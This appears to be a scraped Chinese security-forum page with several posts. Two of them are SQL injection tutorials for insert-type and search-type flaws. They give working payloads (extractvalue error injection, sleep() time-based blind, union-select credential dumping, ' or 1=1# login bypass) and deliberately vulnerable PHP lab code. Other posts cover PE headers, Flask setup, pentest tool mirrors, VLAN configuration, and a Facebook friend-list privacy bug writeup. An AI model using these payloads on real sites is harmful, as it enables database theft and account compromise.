DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//IMAGE_DATA_DIRECTORY 结构数组。每个结构给出一个重要数据结构的RVA,比如引入地址表等
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 
        重要成员有:
        1.Magic:标志字,32系统为 010B,64位系统为 020B。
        2.AddressOfEntryPoint:RVA值,指出程序最先执行的代码起始地址,相当重要
        3.ImageBase:指出文件的基址。
        4.SizeOfImage:标识着文件加载到内存时的大小。一般而言,文件的大小和加载到内存中的大小是不同的。
        5.SizeOfHeaders:标识整个 PE 头的大小,该值必须是 FileAlignment 的整数倍。
        6.Subsystem:用来区分系统驱动文件和普通的可执行文件。
        7.NumberOfRvaAndSizes:用来指定 IMAGE_OPTIONAL_HEADER32 结构体最后一个成员(DataDiretory数组)的个数。默认是16,但也可能不是16。
        8.DataDirectory:是由 IMAGE_DATA_DIRECTORY 结构体组成的数组,每个元素都记录着 PE 文件的重要数据结构,如图:
        

4.png

 
 
0X03.36:节区头
        在节区头中定义了各节区的属性。节区属性中有节区在文件/内存中的起始位置、大小、访问权限等。
        不同内存属性的访问权限如下:
 ------------------------------------------
类别                               访问权限
-------------------------------------------
code                             执行,读取权限
-------------------------------------------data                              非执行,读写权限
--------------------------------------------resource                       非执行,读取权限
---------------------------------------------        节区头是由 IMAGE_SECTION_HEADER 结构体组成的数组,每个结构体对应一个节区:
    
#define IMAGE_SIZEOF_SHORT_NAME 8typedef struct _IMAGE_SECTION_HEADER{
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 8个字节的节区名称
union {
DWORD PhysicalAddress;
DWORD VirtualSize; //内存中节区的大小
} Misc;
DWORD VirtualAddress; // 内存中节区的起始地址(RVA)
DWORD SizeOfRawData; // 磁盘中文件中节区所占大小
DWORD PointerToRawData; // 磁盘中文件的起始位置
DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
WORD NumberOfLinenumbers; // 行号表中行号的数目
DWORD Characteristics; // 节属性如可读,可写,可执行等
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

 
        第一个成员是 Name:默认为8个字节,PE 规范未明确规定节区的 Name,所有可以向其中放入任何值。
        第二个成员是一个联合体,4个字节,一般来说存储虚拟大小,即该节区在内存中的大小。
        第三个成员是虚拟地址,是一个 RVA,标识着内存中节区的起始地址。
        第四个成员和第五个成员分别标识着在文件中的大小和在文件中的起始偏移。
        最后一个成员则标识着节区属性,也是以 bit OR 的形式组合在一起的。
 

Insert型SQL注入探究

Web安全渗透wuyou 发表了文章 • 1 个评论 • 67 次浏览 • 2019-05-10 18:49 • 来自相关话题

我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 








 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
001     [留言成功]002\    [留言失败]003#    [留言成功]004'    [留言失败]005"    [留言成功]006)    [留言成功]007')   [留言失败]008')#  [留言失败]


在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
009','')#      [留言失败]010','','')#    [留言成功]





 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#





 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#










 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
  查看全部
我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 
3.png

1.png

 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
  1. 001     [留言成功]
  2. 002\    [留言失败]
  3. 003#    [留言成功]
  4. 004'    [留言失败]
  5. 005"    [留言成功]
  6. 006)    [留言成功]
  7. 007')   [留言失败]
  8. 008')#  [留言失败]



在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
  1. 009','')#      [留言失败]
  2. 010','','')#    [留言成功]


4.png

 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#

5.png

 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#

6.png


7.png

 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
 

Flask的安装运行

Pythoncat 发表了文章 • 0 个评论 • 44 次浏览 • 2019-05-10 14:42 • 来自相关话题

一、安装
1.激活虚拟环境(为什么要使用虚拟环境?随着你的 Python 项目越来越多,你会发现不同的项目会需要 不同的版本的 Python 库。同一个 Python 库的不同版本可能不兼容。虚拟环境可以为每一个项目安装独立的 Python 库,这样就可以隔离不同项目之间的 Python 库,也可以隔离项目与操作系统之间的 Python 库。)
python3:创建一个项目文件夹,然后创建一个虚拟环境。创建完成后项目文件夹中会有一个 venv 文件夹:mkdir myprojectcd myprojectpython3 -m venv venv 在Windows下:py -3 -m venv venvpython2: 如果你使用的是 Python 2 ,那么 venv 模块无法使用。相应的,必须安装 virtualenv.如果是 Mac OS X 或者 Windows ,下载 get-pip.py ,然后:sudo python2 Downloads/get-pip.pysudo python2 -m pip install virtualenv在 Windows 下,需要要 administrator 权限:\Python27\python.exe Downloads\get-pip.py\Python27\python.exe -m pip install virtualenv安装virtualenv完成之后,继续创建虚拟环境在老版本的 Python 中要使用下面的命令创建虚拟环境:virtualenv venv在 Windows 下:\Python27\Scripts\virtualenv.exe venv在开始工作前,先要激活相应的虚拟环境:venv/bin/activate在windows下:venv\Scripts\activate激活后,你的终端提示符会显示虚拟环境的名称。3.安装Flask在已激活的虚拟环境中可以使用如下命令安装 Flask:pip install Flask4.依赖 当安装 Flask 时,以下配套软件会被自动安装。Werkzeug 用于实现 WSGI ,应用和服务之间的标准 Python 接口。Jinja 用于渲染页面的模板语言。MarkupSafe 与 Jinja 共用,在渲染页面时用于避免不可信的输入,防止注入攻击。ItsDangerous 保证数据完整性的安全标志数据,用于保护 Flask 的 session cookie.Click 是一个命令行应用的框架。用于提供 =0.9emflask 命令,并允许添加自定义 管理命令。可选依赖以下配套软件不会被自动安装。如果安装了,那么 Flask 会检测到这些软件。Blinker 为 信号 提供支持。SimpleJSON 是一个快速的 JSON 实现,兼容 Python’s =0.9emjson 模块。如果安装 了这个软件,那么会优先使用这个软件来进行 JSON 操作。python-dotenv 当运行 =0.9emflask 命令时为 通过 dotenv 设置环境变量 提供支持。Watchdog 为开发服务器提供快速高效的重载。
 
二、服务启动
1.新建一个Flask应用(保存文件为hello.py)[size=16]from flask import Flask //导入Flask类

app = Flask(__name__) //创建一个该类的实例
@app.route('/') //使用route()装饰器告诉Flask触发函数的URL
def index():
return "<h1>Hello,World</h1>"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True,threaded=True)[/size] 
2.启动服务在终端里导出 FLASK_APP 环境变量:[size=16]
$ export FLASK_APP=hello.py
$ flask run
* Running on http://127.0.0.1:5000/

如果是在 Windows 下,那么导出环境变量的语法取决于使用的是哪种命令行解释器。
在 Command Prompt 下:
C:\path\to\app>set FLASK_APP=hello.py
在 PowerShell 下:
PS C:\path\to\app> $env:FLASK_APP = "hello.py"
还可以使用 python -m flask:
$ set FLASK_APP=hello.py
$ python -m flask run
* Running on http://127.0.0.1:5000/[/size] 查看全部
一、安装
1.激活虚拟环境(为什么要使用虚拟环境?随着你的 Python 项目越来越多,你会发现不同的项目会需要 不同的版本的 Python 库。同一个 Python 库的不同版本可能不兼容。虚拟环境可以为每一个项目安装独立的 Python 库,这样就可以隔离不同项目之间的 Python 库,也可以隔离项目与操作系统之间的 Python 库。)

  • python3:
创建一个项目文件夹,然后创建一个虚拟环境。创建完成后项目文件夹中会有一个 venv 文件夹:
mkdir myproject
cd myproject
python3 -m venv venv
在Windows下:
py -3 -m venv venv
python2: 如果你使用的是 Python 2 ,那么 venv 模块无法使用。相应的,必须安装 virtualenv.如果是 Mac OS X 或者 Windows ,下载 get-pip.py ,然后:
sudo python2 Downloads/get-pip.pysudo python2 -m pip install virtualenv
在 Windows 下,需要要 administrator 权限:
\Python27\python.exe Downloads\get-pip.py\Python27\python.exe -m pip install virtualenv
安装virtualenv完成之后,继续创建虚拟环境在老版本的 Python 中要使用下面的命令创建虚拟环境:
virtualenv venv
在 Windows 下:
\Python27\Scripts\virtualenv.exe venv
在开始工作前,先要激活相应的虚拟环境:
venv/bin/activate
在windows下:
venv\Scripts\activate
激活后,你的终端提示符会显示虚拟环境的名称。
3.安装Flask在已激活的虚拟环境中可以使用如下命令安装 Flask:
pip install Flask
4.依赖 当安装 Flask 时,以下配套软件会被自动安装。
  • Werkzeug 用于实现 WSGI ,应用和服务之间的标准 Python 接口。
  • Jinja 用于渲染页面的模板语言。
  • MarkupSafe 与 Jinja 共用,在渲染页面时用于避免不可信的输入,防止注入攻击。
  • ItsDangerous 保证数据完整性的安全标志数据,用于保护 Flask 的 session cookie.
  • Click 是一个命令行应用的框架。用于提供 =0.9emflask 命令,并允许添加自定义 管理命令。
可选依赖以下配套软件不会被自动安装。如果安装了,那么 Flask 会检测到这些软件。
 
二、服务启动
1.新建一个Flask应用(保存文件为hello.py)
[size=16]from flask import Flask  //导入Flask类

app = Flask(__name__) //创建一个该类的实例
@app.route('/') //使用route()装饰器告诉Flask触发函数的URL
def index():
return "<h1>Hello,World</h1>"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=True,threaded=True)[/size]
 
2.启动服务
在终端里导出 FLASK_APP 环境变量:[size=16]
$ export FLASK_APP=hello.py
$ flask run
* Running on http://127.0.0.1:5000/

如果是在 Windows 下,那么导出环境变量的语法取决于使用的是哪种命令行解释器。
在 Command Prompt 下:
C:\path\to\app>set FLASK_APP=hello.py
在 PowerShell 下:
PS C:\path\to\app> $env:FLASK_APP = "hello.py"
还可以使用 python -m flask:
$ set FLASK_APP=hello.py
$ python -m flask run
* Running on http://127.0.0.1:5000/[/size]

github上一些安全工具的分享

Web安全渗透sq_smile 发表了文章 • 1 个评论 • 72 次浏览 • 2019-05-07 11:26 • 来自相关话题

0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    
需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。




        3、 在开源中国的码云上边,导入github上你fork的项目。









然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:




 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
  查看全部
0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    

需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。
Fork.png

        3、 在开源中国的码云上边,导入github上你fork的项目。
1.png


2.png

然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:
3.png

 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
 

ENSP基础命令解释和VLAN的划分

协议安全sq_smile 发表了文章 • 0 个评论 • 40 次浏览 • 2019-05-05 21:13 • 来自相关话题

0X01    ENSP交换机基础命令及解释
<Huawei> 用户模式,权限比较低,做不了太多的事情。
[Huawei] 系统模式,
system-view 进入系统模式
display interface brief 查看所有的端口信息
display mac-address dynamic 查看mac地址表
dis int Ethernet 0/0/1 查看0/0/1端口下的详细情况
display current-configuration 查看当前全局配置 缩写命令:display cu

0X02    利用ENSP划分VLAN
        1、为什么要划分VLAN
1) 隔离域冲突和广播域,解决广播风暴。这是划分VLAN最大的好处。
2) 出于安全的考虑,不同的VLAN成员之间在没有三层路由的前提下是不能互相访问的。
3) 管理灵活:当一个用户需要切换到另外一个网络的时候,只需要更改switch和VLAN划分即可,而不用换端口和连线。
        2、划分VLAN实验的拓扑图





 
        3、实验的流程
1、给四个PC机配置IP地址。
2、将连接PC的端口配置成为access
int e0/0/1
port link-type access 指定端口模式为access模式
quit 退出当前端口
3、创建,划分VLAN,相应的端口划分进相应的VLAN.
VLAN 10
des SALES
port e0/0/1
port e0/0/3 创建VLAN10,描述信息为SALES,并将e0/0/1和e0/0/3划分进VLAN10
VLAN 20
des CAIWU
port e0/0/2
port e0/0/4 创建VLAN20,描述信息为CAIWU,并将e0/0/2和e0/0/4划分进VLAN10
4、display vlan 查看vlan信息,观察哪些端口划分进哪些VLAN。       4、实验结果的检测





       5、实验的结论
结论:同一个VLAN,同一个网段,连接到同一个交换机上,才能够互通 查看全部
0X01    ENSP交换机基础命令及解释
<Huawei>        用户模式,权限比较低,做不了太多的事情。
[Huawei] 系统模式,
system-view 进入系统模式
display interface brief 查看所有的端口信息
display mac-address dynamic 查看mac地址表
dis int Ethernet 0/0/1 查看0/0/1端口下的详细情况
display current-configuration 查看当前全局配置 缩写命令:display cu

0X02    利用ENSP划分VLAN
        1、为什么要划分VLAN
1)	隔离域冲突和广播域,解决广播风暴。这是划分VLAN最大的好处。
2) 出于安全的考虑,不同的VLAN成员之间在没有三层路由的前提下是不能互相访问的。
3) 管理灵活:当一个用户需要切换到另外一个网络的时候,只需要更改switch和VLAN划分即可,而不用换端口和连线。
        2、划分VLAN实验的拓扑图

4---VLAN划分实验拓扑.png

 
        3、实验的流程
1、给四个PC机配置IP地址。
2、将连接PC的端口配置成为access
int e0/0/1
port link-type access 指定端口模式为access模式
quit 退出当前端口
3、创建,划分VLAN,相应的端口划分进相应的VLAN.
VLAN 10
des SALES
port e0/0/1
port e0/0/3 创建VLAN10,描述信息为SALES,并将e0/0/1和e0/0/3划分进VLAN10
VLAN 20
des CAIWU
port e0/0/2
port e0/0/4 创建VLAN20,描述信息为CAIWU,并将e0/0/2和e0/0/4划分进VLAN10
4、display vlan 查看vlan信息,观察哪些端口划分进哪些VLAN。
       4、实验结果的检测

3---VLAN划分.png

       5、实验的结论
结论:同一个VLAN,同一个网段,连接到同一个交换机上,才能够互通

【转】SQL注入--搜索型

Web安全渗透main 发表了文章 • 0 个评论 • 98 次浏览 • 2019-05-05 16:25 • 来自相关话题

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理$sql="select * from user where password like '%$pwd%' order by password"; 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:select * from user where password like '%fendo'and 1=1 and '%'='%' order by password存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
 
 三、搜索型注入实战


1)GET型注入
 
测试源码: <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
 
1.判断字段数

语句:%' union select 1,2,3,4,...... and '%'='





还有种方法
语句: %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 






2.判断表名

语句:%'and(select count(*)from admin)>0 and '%'='





把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:<?

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>






1.判断是否存在SQL注入

用PHP万能密码进行测试' or 1=1#







在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数' order by 4#





逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名'or 1=1 union select 1,2,3,4 #





逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容




'or 1=1 union select username,password,3,4 from user#
 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482 查看全部
一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理
$sql="select * from user where password like '%$pwd%' order by password";
 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了


下面这几种语句都可以:
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

 
 三、搜索型注入实战


1)GET型注入
 
测试源码:
    <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

 
1.判断字段数

语句:
%' union select 1,2,3,4,...... and '%'='

1.jpg


还有种方法
语句:
  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 
2.jpg



2.判断表名

语句:
%'and(select count(*)from admin)>0 and '%'='

3.jpg


把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

4.jpg



1.判断是否存在SQL注入

用PHP万能密码进行测试
' or 1=1#  

5.jpg




在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数
' order by 4#  

6.jpg


逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名
'or 1=1 union select 1,2,3,4 #  

7.jpg


逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容

8.jpg
'or 1=1 union select username,password,3,4 from user#   

 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482

【转】挖洞经验丨看我如何获取Facebook用户的隐私好友列表

Web安全渗透willeson 发表了文章 • 0 个评论 • 37 次浏览 • 2019-04-29 12:33 • 来自相关话题

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:

1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。

Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:

https://www.facebook.com/friends/requests/?fcref=swpsa

这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 [code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD; 查看全部

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:


1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。


Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:


https://www.facebook.com/friends/requests/?fcref=swpsa


这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 
[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed
[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

